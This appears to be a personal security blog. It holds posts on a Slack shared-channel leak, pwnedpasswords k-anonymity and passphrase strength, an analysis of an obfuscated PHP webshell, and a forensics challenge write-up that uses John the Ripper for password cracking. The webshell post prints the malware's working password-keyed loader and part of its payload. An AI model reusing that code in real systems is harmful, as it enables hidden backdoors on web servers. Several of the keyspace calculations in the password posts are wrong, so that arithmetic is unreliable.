Comments

Beta Functionality Still Needs Security Slack and Shared Channels BETA

Toward the end of 2017 I was asked to give Slack’s shared channel beta by some colleagues who wanted to use it.

One caveat was the need to use a paid for Slack account on either side of the shared-channel so I setup oneiroi-ltd.slack.com and upgraded it to the plus plan (hey it has 1 user, so wasn’t a big deal).

I then proceeded to “Share” a channel from the oneiroi-ltd.slack.com space with another on which I had a presence (and again was running on a Plus plan) and for the most part, it worked as advertised the sharing integration functioning on the server side so all transport encryption etc was OK.

The issue came once the channel was un-shared, this is where things got a little more interesting.

To test the functionality and asses security I ran the following:

  1. Connection to oneiroi-ltd using the Slack web application in Chrome.
  2. Connection to the “other” Slack using the Slack desktop application.
  3. Channel share was initiated on the oneitoi-ltd side.
  4. Test messages were sent from both oneiroi-ltd and “other” Slack, received without issues including files shared.
  5. Channel un-share was initiated on the “other” (not oneiroi-ltd) side.

In theory the last step could be as a result of a falling out, termination of client-service engagement etc. any number of reasons to wnating to unshare the channel.

What followed next was unexpected;

I had enabled notifications in the chrome browser from which the oneiroi-ltd slack was running, and to my surprise was still receiving messages from the “other” side (no pun intended) despite the channel being un-shared.

So I proceeded to search for Slack’s security contact, and authored a quick report, including screenshots:

1
2
3
4
5
6
7
8
1) We have two workspaces, Alice & Bob
2) Alice invites Bob to share a channel
3) Alice and Bob both have notifications setup for their workspace and receive notifications from the browser whilst using the shared-channel
4) Alice and Bob have a falling out, Bob decides to stop sharing the channel with Alice.
5) Alice writes into the previously shared channel thinking that Bob will not see what is written.
6) Bob however receives the chat message line in notification.

This is a break in the un-sharing of a channel not performing a proper separation of access, allowing the previous occupants to still receive notifications containing the messages from the party which believes at this moment in time they have stopped being shared.

This was of course a serious issue as this could lead to an invisible breach should sensitive information be communicated in the previously shared channel.

I filed the hackerone issue in order to notify the slack team, and just over a month on 12th January 2018 the Slack team reported the issue was fixed!

I moved to test this and sure enough un-sharing the channel now was working as intended with no observable leak as occurred previously.

And all it seemed was well, I would like to thank the Slack team work working on this issue through to completion despite the delays in feedback on either side.

Auditing Passwords With K-anonymity and Pwnedpasswords

Hello one and all, despite my somewhat lacking blog postings throughout 2017 and thusfar into 2018 complete absence I am in fact still breathing.

That being said I want to cover in this post today something which has I think unjustly gathered some F.U.D. (Fear, Uncertainty, Doubt).

Troy Hunt (and some engineers from Cloudflare) has released pwnedpasswords version 2; with an API!

So I send my password to some third party service and it tells me what ?

First off, NO you do not send your passwords and you should NEVER send your password to anything but the system you are intending to log into.

Secondly, No, the API does not take the raw password in plaintext, it implements the k-Anonymity model.

The k-What now?!

First we take you plaintext password, hash it using the SHA1 algorithm and send the first 5 characters of the hash to https://api.pwnedpasswords.com.

In this way the original password is NEVER sent to api.pwnedpasswords.com, only the first 5 chars of the SHA1(your password) hash to allow an index lookup and return whether your password has ever been seen in breaches made public / obtained by Troy for haveibeenpwned.com.

Wait a minute, SHA1 hashes are stupid easy to brute force; this seems like a real bad idea!

SHA1 itself is easily computed using software, such as hashcat and John The Ripper most certainly, however we are not sending the complete hash only the first 5 hexidecimal digits of the hash for index lookup.

Why exactly is that better ?

To answer that I need to go into some detail as to how the SHA1 hash algorithm works, or rather the output of the SHA1 algorithm.

Don’t worry this will not be all math, I promise, we are focusing on the output hash only.

Let’s take a really common password in 2016/2017 of 123456 as I noted in Passphrase or Complex Passwords as an example.

1
2
3
4
5
>>> from hashlib import sha1
>>> sha1('123456').hexdigest().upper()
'7C4A8D09CA3762AF61E59520943DC26494F8941B'
>>> sha1('123456').hexdigest().upper()[:5]
'7C4A8'

So we would send the 7C4A8 string to api.pwnedpasswords.com; but not the whole digest of 7C4A8D09CA3762AF61E59520943DC26494F8941B.

So for an attacker / adversary to get back the original password (assuming they can intercept the api calls being made to api.pwnedpasswords.com), how do they go from 7C4A8 to derive the password of 123456 ?

SHA1 in theory can return 7C4A800000000000000000000000000000000 through 7C4A8FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF that’s 35^16. 35^16 == 5.070942774902497 x 10^24 possible outcomes.

And this presumes you are able to iterate over every single hash in the 7C4A8 ‘index’ space.

This is not how the SHA1 algorithm works; for example 123456 returns a very different hash value that 1234567 or 123457 etc.

There is at the time of writing this post no known method to iterate over the SHA1 space for a specific ‘index’.

1
2
3
4
>>> sha1('1234567').hexdigest().upper()[:5]
'20EAB'
>>> sha1('123457').hexdigest().upper()[:5]
'908F7'

The two examples are not even in the same ‘index’ space as the original example.

Conclusion ?

I am not saying it is entirely impossible to iterate every single value in the SHA1 algorithm space, and there issues with creating known hash collision this took down for instance subversion repositories where the example good and bad files were committed (You can search for this there are many articles to choose from).

The thing is it is highly unlikely for an adversary to get your original password.

  1. The adversary will need a pre-computed list of all possible password strings for the SHA1 algorithm (4.294967296 x 10^25)
  2. The adversary will need to test all 5.070924774902497 x 10^24 possible known passwords against some source of truth that knows your password.
  3. The adversary will be blocked by the absence of any username to use to test this.
  4. The adversary will be blocked by any 2FA / MFA on the account.
  5. The adversary will be blocked by any brute force protections enabled by the vendor / maintainer of the application.

So what’s the take-away here ?

Provided you use a unique password for every one of your online accounts (PLEASE never re-use a password!) and that your end vendor / maintainer is taking basic precautions to protect accounts the chances of an adversary getting your password because you looked up the first 5 chars of a SHA1 hash are VERY VERY small.

And if a nation-state threat actor is in your threat model, I hope you are not using 123456 as a password!

I have made available a python script which will allow you to lookup your passwords (or not) against api.pwnedpassword.com, the code is available here, and it is released open source, so you are free to inspect the source code and choose to use it or not,

So in summary, checking your passwords is unlikely to pose a significant risk; especially when weighed up against the risk your of password being within a breach disclosure.

Feedback

Think I have something wrong ? Have I missed something ?

Ping me on twitter but be sure to have evidence to backup your claims ;-)

Passphrase or Complex Passwords?

I like healthy debate, if I am wrong then I encourage my colleagues and others to explain in detail as to why my thoughts on a particular matter/subject are incorrect and often this causes a somewhat extensive back and forth until a consensus is reached on the issue being discussed.

So one such discussion over the last couple of days has been over password complexity vs pass-phrases, not to be confused with password length let me make that point clear.

So let me give you some examples

Complexity

  • 14 characters or more
  • 2 uppercase letters
  • 2 numerical digits
  • 2 ‘special’ characters

A typical example of a password policy with complexity requirements and fairly typical of most standards out there right ?

The problem of the human

So let’s explore this a little, and discuss some of the issues. Here’s an example of a “compliant” password

CompanyPassword2017!$

  1. 21 characters (compliant)
  2. 2 uppercase characters (compliant)
  3. 4 numerical digits (compliant)
  4. 2 special characters (compliant)

The password is compliant with policy and as such is not a problem … right ?

Well if you’ve read anything on my blog before you’ll know the answer is no there is still a problem.

  1. This password contains the company name (I used Company to keep thing generic so use a little imagination this represents a company name).
  2. This password contains the word Password (still better than 123456 though ;-) )
  3. This password contains the current year (this happens WAY more often that you would think, remember 123456 was the most used password in 2016)
  4. This password has had the special chars appended to the end (typical human typographical behavior, the the password first and have the requirements as an after thought)

The problem is human behavior, and in the english language at least this is predictable behavior allowing for pattern analysis or behavioral analysis attacks to be carried out.

  1. Capitalizing the first or each word (Camelcase)
  2. Using company or password or service related words to make the password more memorable (not everyone uses a password manager, so these little cheats to aid memory can be predicted)
  3. Using the current year at the end of the password
  4. Appending the special char requirements at the end of the password (this allows someone to quickly enter the first part before they have to think about the end part of the password).

I’m speaking in generalizations, if you do not do any of this then great! Use a word list throw a dice to decide the password ;-) …

The downfall here is with a complexity requirement is poor choices of passwords and this is most prevalent where the target individual does not use a password manager and the password generation feature.

Note: This is not a bashing of p:eople not using password managers, password managers have their own issues (just see examples from Travis Ormandy or Dan Tentler) so please bare with me until the end I am simply speaking about human behavior being predictable of which MANY studies are available to back this up).

Pass-phrases

If you do not know what a pass-phrase is then go take a look at this, I’ll wait …

Oh you’re back? good did you review the XKCD comic in full ? Excellent let’s continue then.

A pass-phrase is a series of words used ideally with a separating character (I will recommend using a space instead of a dash!) for example

Peter Piper Picked A Peck Of Pickled Peppers 2017 $!

  1. 52 characters (compliant)
  2. 8 uppercase (compliant)
  3. 4 numerical digits (compliant)
  4. 11 special characters (compliant)

Q: Wait ?! I only see 2 special characters, your count is off! A: Actually I counted the spaces; as space is a special character.

Both look fine to me, wth are you talking about ?!

Precisely that, both are acceptable provided they follow the same basic guidelines, no you can not sacrifice complexity for a longer password perhaps I should explain more

peter piper picked a peck of pickled peppers

Some may argue that a longer password removes the need for complexity which is simply not the case as this pass-phrase has lowered the address space considerably.

WTF is an address space, and what has it got to do with my password ?

WARNING here be math …

The address space is the total addressable character set for any given password for example

  1. a through z ([a-z]) would be 26 possible characters
  2. a through Z ([a-Z]) would be 52
  3. a through 9 ([a-Z][0-9]) would be 62

And so on, so to evaluate when brute forcing (iterating every single possible combination) a password the math becomes as follows.

  1. password is 58 characters
  2. password is comprised of only lowercase and space separation 58^27 == 4.0978x10^47 possible combinations (53 == 52 + space)

How about throwing in some complexity ?

  1. password is 58 characters
  2. password uses a through 9 (this includes captilized letters)

58^63 == 1.2472789544046017 x 10^111

Which may not seem like a huge difference until you work out that the former non complex address space is 3.2853 x 10^-67% of the size of the complex address space.

Why should I care really ? I have a long password it’ll take many years to brute force it

Yes you’re correct, but you’re also wrong. Brute force is not the only attack you can carry out, let’s use the example from before

  1. password is 58 characters
  2. password is comprised of only lowercase and space separation 58^27 == 4.0978x10^47 possible combinations
  3. We know this is a pass-phrase, so it’s likely each part of said phrase uses complete words.
  4. We know the target uses the english language
  5. The english language has approximately 171,476 words this is by FAR much less than 4.09785x10^47

171476 is 4.1845 x 10^-43% of the address space when compared with the full size of the bruteforceable address space, as such when looking at possible combinations, start to factor in other human factors such as poor word choice (names, places, colours etc …) and you reduce the address space even further.

The problem is choice to throw a quick pun in here (and an obligatory matrix reference).

Note This is all ‘napkin math’ so please forgive me if I am wrong anywhere, and note it in the comments so I can fix in the post ;-)

Update: corrected napkin math 2017-05-05 password example assumed a-Z where as example given was a-z corrected the math to account for a-z as intended.

Update2: corrected napkin math AGAIN 2017-05-24

Conclusion

Password complexity is no stronger than pass-phrase with complexity, if you manage / are authoring a policy on password security then remember the following quote

“Security at the expense of usability comes at the expense of security” otherwise known as AviD’s Rule of Usability.

  1. Any policy must be simple to understand
  2. Any policy must be simple to execute

In order to gain the expected result, otherwise you’re going to get users whom develop poor habits and choose poor-passwords.

Not everyone wants to use a password-manager some people are even fearful of storing all their passwords in a single repository, there is no one solution here but there is the management of how each available option can be used.

N.B

Think I got something wrong or have strong opinions on something ?

Please put your thoughts into a comment, again I encourage debate so please include as much information as you can in your argument.

Highly Obfusticated PHP Webshell

If there’s one thing to be said for Wordpress blogs, it’s that users rarely seem to understand than keeping things up to date is really going to stop them from getting owned 9/10 times.

So if you take one thing away from this post please make sure it’s:

  1. KEEP YOUR WORDPRESS INSTALL UP TO DATE
  2. KEEP ALL YOUR WORDPRESS PLUGINS UP TO DATE

Simple enough right? You would have thought so, but of course this isn’t a “cure all” and there’s other vulnerabilites and mitigations to consider; but not for this post.

RFU

Remote File Upload.

So the site in question had a plugin which was out of date. This plugin had a RFU vulnerability which allowed attackers to upload arbitrary code files then head to

https://thesite.com/wp-content/pluginname/uploadedfile.php

To execute the attack.

Standard, boring crap right ?

Well this post isn’t to focus on how it happened, nor why it happed.

Simply put the php file itself I found very interesting.

PHP Code obfustication

Sure, code obfustication is nothing new. Heck tools like msfvenom allow you to choose from a variety of obfustication methods the premis for which is to avoid signatures for “known bad” files, and thus avoid common signatures (which is why you should not rely solely on signature bases analysis).

The thing is the overwhelming majority of webshell obfustication is done through “packing”, you’ll see it use base64, gzinflate, eval and that’s a pretty common standard.

Not this little bastard, and that’s why this got my attention

Head of the file:

1
2
3
4
5
6
7
8
9
10
<?php $wp__wp='base'.(32*2).'_de'.'code';$wp__wp=$wp__wp(str_replace("\n", '', 'QOC7sj/9Bh8g6EJWtzJjaKUSdpGj/VzFUKzIhEUBQzNS4Il8OaZdAcKdt4ix0eWNniRKnvuBmTO2W39H
d7VmyCL7+MB1t1eOa8wWJiYQqisMKzcIhXvmOdkg4LTsDk6HIm+rsjD2nlcBpGKNVW+/irhPtk6zlOIq
aUVBxVWCJ7CT30ogudYn0spol2MwyvBRWJHwaKlKY3bYQ39LodSJUGhlB3tJAMiAvCMLpWp91UHt+Ukm
aHypp+OTC9oWJSwpwALTqIX+z2Yetp8r3RRBf2JYPiUtxuuEsxi4lIGM477sPiLqhFJLI7wiV35oyUJJ
G9Zv4OWsozkEARLUEBqKlxlH21b0+Sv568ea9hMD/JhLLx7TeG3wsqfHQ5yxIY2GTHHq9eT3yeGCteT4
xprMpl7rNcEtG1b6Ez9SSsbG61fEHg4ozeVVyrEPlDscsyXlhysW2kDf1CLg0URWuW7GsiJ2xPsyG+RX
ctsM+8t+W4nbM1AyuxSQv03OoA3R0sGLeicrm41VByDI0lDlwfmwq1K1jT2KsXD60BA/PDs2FBB9IfhJ
awK1/tFiGbi+G/gb9KLEzrr8ZCgkTqH8RWJ/avnDbK/DMBy5rZzVU/VEFNaRTVyN5lBxphQ6nJpT9vM5
Z5Cu7f8PYmaBthyP3iqZk/ur0i1+64uyYe9XaiXkORQ/F90DEaY0m3MAxIptHs8lQMclnoIX27gTJnAv
NpcyJgsM5Z8w/6dApQTxWU4/iA+QIKZATqlKYDpuScahCgOIlenxBhEsjB7s2mpG82vcs+/FoxuobVLZ

Well, that’s … Interesting

Tail of the file

1
'));$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);if($wp_wp!==NULL){$wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));for($wp___wp=0;$wp___wp<15324;$wp___wp++){$wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);$wp_wp.=$wp__wp[$wp___wp];}if([email protected]($wp__wp)){if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);$wp___wp=create_function('',$wp__wp);unset($wp__wp,$wp_wp);$wp___wp();}}?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

Long string is loooooooong …

So first it’s a base64 encoded string; we know this due to the first line of code which is doing some signature evasion itself.

1
$wp__wp='base'.(32*2).'_de'.'code';

Which of course yields ‘base64_decode’

So then the next line

1
$wp__wp=$wp__wp(str_replace("\n", '', 'QOC7

Is really:

1
$wp__wp=base64_decode(<payload>)

So let’s use some python …

1
2
3
4
5
6
7
>>> payload="""QOC7s...""".replace("\n","")
>>> len(payload)
20432
>>> from base64 import b64decode
>>> b64decode(payload)
'@\xe0\xbb\xb2?\xfd\x06\x1f
...

So we have some raw intelligibile data, the WTF continues …

So what now?

Let’s look at the tail of the file again it’s doing some additional processing let’s add some whitespace and comments to make it readable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//Ternary if statements
//if we have the password in the POST or COOKIE var set $wp_wp to this. If not set $wp_wp to null
$wp_wp = isset($_POST['wp_wp']) ? $_POST['wp_wp'] : (isset($_COOKIE['wp_wp']) ? $_COOKIE['wp_wp'] : NULL);

//If wp_wp is not NULL (so we have a password set from the above)
if( $wp_wp !== NULL ) {
    //mutate the var
    $wp_wp = md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));
    //assuming: test123 as the password.
    /*
     * php -r '$wp_wp = "test123"; $wp_wp = md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp)); echo $wp_wp;'
     * cc03e747a6afbbcbf8be7668acfebee56a54720
     */ 
   
    //wp___wp is just an integer itterator, for for readability I'm substituting this for $i 
    for( $i = 0; $i < 15324; $i++){
        //wp__wp is the payload so I'm renaming this also to $payload
        //each char is unpacked by the following line
        $payload[$i] = chr(( ord($payload[$i]) - ord($wp_wp[$i])) % 256);
        //this is then appended to wp_wp (which is the password)
        $wp_wp .= $payload[$i];
    }
  
    if ( $payload = @gzinflate($payload)) {
        if( isset($_POST['wp_wp']) ) @setcookie('wp_wp', $_POST['wp_wp']);
        //recall this line from above: $wp__wp='base'.(32*2).'_de'.'code'
        //$i therefor is base64_decode(<unpacked payload>);
        $i = create_function('',$payload);
        unset($payload,$wp_wp);
        $i();
    }
}?>
<form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

I suppose we could go the python route again, however as we’ve discerned the function (loop unpack payload -> create_function -> execute function), we can “disarm” it to instead echo out the unpacked code for further analysis.

So the file with the required modifications …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
257c257,266
< '));$wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);if($wp_wp!==NULL){$wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));for($wp___wp=0;$wp___wp<15324;$wp___wp++){$wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);$wp_wp.=$wp__wp[$wp___wp];}if([email protected]($wp__wp)){if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);$wp___wp=create_function('',$wp__wp);unset($wp__wp,$wp_wp);$wp___wp();}}?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>
\ No newline at end of file
---
> '));
> 
> $_POST['wp_wp'] = "test123";
> $wp_wp=isset($_POST['wp_wp'])?$_POST['wp_wp']:(isset($_COOKIE['wp_wp'])?$_COOKIE['wp_wp']:NULL);
> if($wp_wp!==NULL){$wp_wp=md5($wp_wp).substr(md5(strrev($wp_wp)),0,strlen($wp_wp));for($wp___wp=0;$wp___wp<15324;$wp___wp++){$wp__wp[$wp___wp]=chr(( ord($wp__wp[$wp___wp])-ord($wp_wp[$wp___wp]))%256);$wp_wp.=$wp__wp[$wp___wp];}if([email protected]($wp__wp)){if(isset($_POST['wp_wp']))@setcookie('wp_wp', $_POST['wp_wp']);
> //$wp___wp=create_function('',$wp__wp);unset($wp__wp,$wp_wp);
> //$wp___wp();
> echo $wp__wp;
> 
> }}?><form action="" method="post"><input type="text" name="wp_wp" value=""/><input type="submit" value="&gt;"/></form>

The resulting payload starts off as

1
2
3
4
@ini_set('log_errors_max_len',0);@ini_restore('log_errors');@ini_restore('error_log');@ini_restore('error_reporting');@ini_set('log_errors',0);@ini_set('error_log',NULL);@ini_set('error_reporting',NULL);@error_
reporting(0);@ini_set('max_execution_time',0);@set_time_limit(0);@ignore_user_abort(TRUE);@ini_set('memory_limit','1000M');@ini_set('file_uploads',1);@ini_restore('magic_quotes_runtime');@ini_restore('magic_quot
es_sybase');
...

And continues to create a webshell interface.

So what?

Granted this may be viewed as little more than a geeks curiosity, however on a more serious note the main intriguing element of this webshell is that the password is an intrinsic part required to unpack the valid payload.

Without the password the unpack will fail; so consider if

1
$wp__wp='base'.(32*2).'_de'.'code';

Was instead moved to reside inside the packed payload, how would you possibly be able to begin to write a signature for such a file?

Fuzzy logic sure, look for long strings of seemingly random content, still I can see that’s going to run false positives in the masses given the various obfusticating options out there for php such as those that require licensing …

Mitigation ?

  1. SELinux set ON, will limit what the web server process can access (it’s not going to stop it getting access to your database servers, and if you have httpd_can_network_connect set to true, it’s not going to stop it creating a reverse shell either, check out httpd_can_connect_db to maintain web app functionality but make it harder for attackers)
  2. KEEP UP TO DATE WITH PATCHES, Web application, system packages … patch all the things!
  3. WAF and/or IPS (inspect POST & GET, for SQL, known shell commands and block (will not prevent file download / upload))
  4. PHP disable_functions (I covered this back in 2008, cyberciti has a good write up)
Comments

NCA Challenge 2015 Progress Writeup

NOTE I was unable to complete the challenge ahead of the 18th of July deadline due to other commitments, what follows is a write up of my progress in the challenge after ~6hrs total spent.

On watching the video noted 299879 as the evidence id on the bag, this may be relevant later.

Unzip nca_image.zip

Yields nca_image.bin, let’s use binwalk to analyse the file

1
2
3
4
5
6
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
7995373       0x79FFED        Cisco IOS microcode for "l"
95256215      0x5AD7E97       Zip archive data, at least v2.0 to extract, compressed size: 3790080,  uncompressed size: 3799842, name: "e-mail.docx"
99046429      0x5E7541D       End of Zip archive
191886470     0xB6FF486       QEMU QCOW Image

On using binwalk -e everything except the identified QCOW image is extracted, so using my helper script

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/bash

echo -n "Can haz start offset hex?:"
read start_off
echo -n "Can haz end offset hex?:"
read end_off

start_int=`echo "ibase=16;${start_off}" | bc`
end_int=`echo "ibase=16;${end_off}" | bc`
chunk_int=`echo "${end_int} - ${start_int}" | bc`

echo "It's not safe to go alone, here take this: dd if=/path/to/space/kitteh of=/path/to/space/kitteh_part skip=${start_int} bs=1 count=${chunk_int}"

We manually carve the file out

1
2
3
4
file_carve_dd_calc 
Can haz start offset hex?:B6FF486
Can haz end offset hex?:C6ED5F0
It's not safe to go alone, here take this: dd if=/path/to/space/kitteh of=/path/to/space/kitteh_part skip=191886470 bs=1 count=16703850

Trying to analyse the QCOW file using

  1. guestfish
  2. qemu-* tools (even pulled down the latests source and compiled)

Ultimately this appears to be a false identification, opening up the file in bless noted many occurences of the QFI header associated with a qcow image, and errors such as

1
2
... not supported by this qemu version: QCOW version 3330981897
... not supported by this qemu version: QCOW version -963985399

Variant on the version of qemu being run, means I move onto analysing the rest of the extracted files.

email.docx

Opening the file (which I did on a tails VM to err on the side of caution, citing paranoia over potential for some macros), notes what appears to be a raw email complete with headers.

And an embedded oleObject

So I unzip the .dox file and again use binwalk to inspect the file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unzip e-mail.docx
Archive:  e-mail.docx
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: word/_rels/document.xml.rels  
  inflating: word/document.xml       
  inflating: word/footnotes.xml      
  inflating: word/footer3.xml        
  inflating: word/footer2.xml        
  inflating: word/footer1.xml        
  inflating: word/header2.xml        
  inflating: word/header3.xml        
  inflating: word/header1.xml        
  inflating: word/endnotes.xml       
  inflating: word/embeddings/oleObject1.bin  
  inflating: word/theme/theme1.xml   
  inflating: word/media/image1.emf   
  inflating: word/settings.xml       
  inflating: word/fontTable.xml      
  inflating: word/webSettings.xml    
  inflating: docProps/app.xml        
  inflating: docProps/core.xml       
  inflating: word/styles.xml   

binwalk word/embeddings/oleObject1.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
38019         0x9483          Zip encrypted archive data, compressed size: 2391816,  uncompressed size: 2960344, name: "fl46.wav"
2429884       0x2513BC        Zip encrypted archive data, compressed size: 1536,  uncompressed size: 1958, name: "my_key.asc"
2431471       0x2519EF        Zip encrypted archive data, compressed size: 1373482,  uncompressed size: 1373454, name: "usb_key.gpg"
3805313       0x3A1081        End of Zip archive

encrypted zip

binwalk has provided us with information showing this is an encrypted archive containing thress files, so its needed to extract the zip file and break the encryption to get at the files within.

1
2
3
4
5
6
7
8
9
 zipinfo T0PS3RET.zip 
Archive:  T0PS3RET.zip
Zip file size: 3767679 bytes, number of entries: 3
warning [T0PS3RET.zip]:  131 extra bytes at beginning or within zipfile
  (attempting to process anyway)
-rw-a--     6.3 fat  2960344 Bx u099 15-Jun-23 11:26 fl46.wav
-rw-a--     6.3 fat     1958 Bx u099 07-Feb-06 15:21 my_key.asc
-rw-a--     6.3 fat  1373454 Bx u099 07-Feb-06 15:19 usb_key.gpg
3 files, 4335756 bytes uncompressed, 3766798 bytes compressed:  13.1%

Running strings on the file also notes the following which may be of use later as it indicates the user “JAMIEH”

Z:\CSC-Final-Revision\Final ‘e-mail’\T0PS3RET.zip C:\Users\JAMIEH~1\AppData\Local\Temp\T0PS3RET.zip

Ok let’s john this bastard

1
2
3
4
JohnTheRipper/run/zip2john ./T0PS3RET.zip > T0PS3RET.hashes
JohnTheRipper/run/john ./T0PS3RET.hashes --show

T0PS3RET.zip:flower:::::T0PS3RET.zip

wav and gpg files

So now we have three files.

  1. fl46.wav - which upon listening to this is clearly DTMF tones followed by a modem handshake
  2. my_key.asc - a private GPG key
  3. usb_key.gpg - an encrypted GPG payload

I setup John to start brute forcing the gpg key password whilst inspecting the other files; think of it as an efficent workflow we may not need the bruteforce however there’s no harm in having it run whilst we continue the investigation

1
JohnTheRipper/run/gpg2john -S my_key.asc > my_key.asc.hashes

Listening to the wav file in vlc this is clearly DTMF tones and a modem handshake, using multimon I can extract the numbers associated with the DTMF tones.

1
multimon-ng -t wav fl46.wav

On this first pass there is some odd behaviour occuring, some numbers are being repeated and some appear to be being skipped, opening the wav file in audacity reveals the issue.

The wave file is stereo meaning there is both a left and right channel, observing the pattern above it’s clear this is an 11 didgit telephone number, we “flatten” the file to mono and run it through multimon again

1
2
3
4
5
6
7
8
9
10
11
12
13
multimon-ng -t wav fl46.wav
DTMF: 0
DTMF: 7
DTMF: 4
DTMF: 8
DTMF: 2
DTMF: 3
DTMF: 5
DTMF: 1
DTMF: 2
DTMF: 4
DTMF: 9
DTMF: *

Whilst it was not needed it’s worth noting that sox can be used to convert to a multimon native format

1
sox -t wav fl46-mono.wav -esigned-integer -b16 -r 22050 -t raw fl46-mono.raw

Calling the number (via an anonymized service of course) yeilds a very faint voice reading numbers aloud, this is why having the call recording prior to dialing is such an advantage; some post processing to raise the volume and carefull listening yields: 533020565

usb_key.gpg

The numbers are indeed the gpg key password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gpg -d usb_key.gpg > usb_key.img

You need a passphrase to unlock the secret key for
user: "Black Oleander Top Secret <[email protected]>"
2048-bit RSA key, ID C96C8291, created 2015-06-16

gpg: encrypted with 2048-bit RSA key, ID C96C8291, created 2015-06-16
      "Black Oleander Top Secret <[email protected]>"

usb_key.img 

file -i usb_key.img
usb_key.img: application/x-tar; charset=binary

tar -xvf ./usb_key.img
Formula.docx
Ledger.xlsx
X101D4.docm
Charles.pptm

binwalk usb_key.img 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             POSIX tar archive, owner user name: "root", owner group name: "root"

Charles.pptm

2 slide presentation First slide “It is not the strongest of the species that survives, but the more adaptable”, background portrait of Charles darwin, oleEmbbeded file “TransferCode.zip.001” could infer multipart zip

1
2
3
4
5
6
7
As noted before ppt/embeddings/oleObject1.bin

Slightly odd however ...

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
4247          0x1097          Zip archive data, at least v2.0 to extract, compressed size: 977930,  uncompressed size: 1070767, name: "TransferCode.pdf"

running binalk -e produxes the .zip and the .pdf file, the .pdf file is unreadable as it is incomplete therefor we know that this zip file is the head of a multipart archive.

Now I have TransferCode.zip.001

Formula.docx

Embbeded images showing a formula TransferCode.zip.002, ok yup looking like multipart zip Google image search “The Drake Equation” also “The Equation of Life” 2014 film

Found the following strings

C:\Users\Jamie H\AppData\Local\Microsoft\Windows\INetCache\Content.Word\TransferCode.zip.002 C:\Users\JAMIEH~1\AppData\Local\Temp\TransferCode.zip.002

Now I have TransferCode.zip.002

Ledger.xslx

Account numbers many 25000 transfers descriptions may be erroneous, “cabal”, “lord” etc.

Binwalk extracted noted something interesting …

./_Ledger.xlsx.extracted/secret_hash/1902d4bfb197e0b7372fc0ec592edabbce0124845a270e4508f247e1faffecce

strings ./_Ledger.xlsx.extracted/xl/embeddings/oleObject1.bin

C:\Users\Jamie H\Documents\CSCUK-Challenge-1\Stage 2\TransferCode.zip.003 C:\Users\JAMIEH~1\AppData\Local\Temp\TransferCode.zip.003

Now I have TransferCoder.zip.003

X101D4.docm

noted VBA from strings run, large binary textx (101 etc …) another hash 13790e4b2ed8345dc51b15c833aa02a33171bd839c543819d19b41bd3962943c followed by “keep looking ;-)” Used binwalk to extract the files

strings _X101D4.docm.extracted/word/vbaProject.bin

1
2
3
4
 curl https://gist.github.com/anonymous/e13e60e1975bceb04c20 > 0wned.txt
 activate 1337 hack tool
 destroy the world
 mission complete

the gist contains file TransferCode.zip.004 in base64encoding: https://gist.githubusercontent.com/anonymous/e13e60e1975bceb04c20/raw/145cad938bd2c4391fc55f5b482625aa86dae776/gistfile1.txt

1
2
3
4
5
6
7
8
from base64 import b64decode
data = open('TransferCode.zip.004.raw)
data = data.replace("local file = TransferCode.zip.004\n'Begining of file\n",'')
data = data.replace("\n'End of File","")
raw = b64decode(data)
out = open('TransferCode.zip.004', 'wb')
out.write(data)
out.close()

The end …

Unfortunatly this is where I must end, I originally did the above work on June 30th 2015 in my evening, and was not able to pick it up again untill autoring this blog post … past the deadline, the PDF file appears to be the final stage. (Just cat the zip files togetheer and unzip to get the PDF file)

Oh well it was an interesting puzzle at least and a welcomed exercise of skills I do not nearly get to use enough.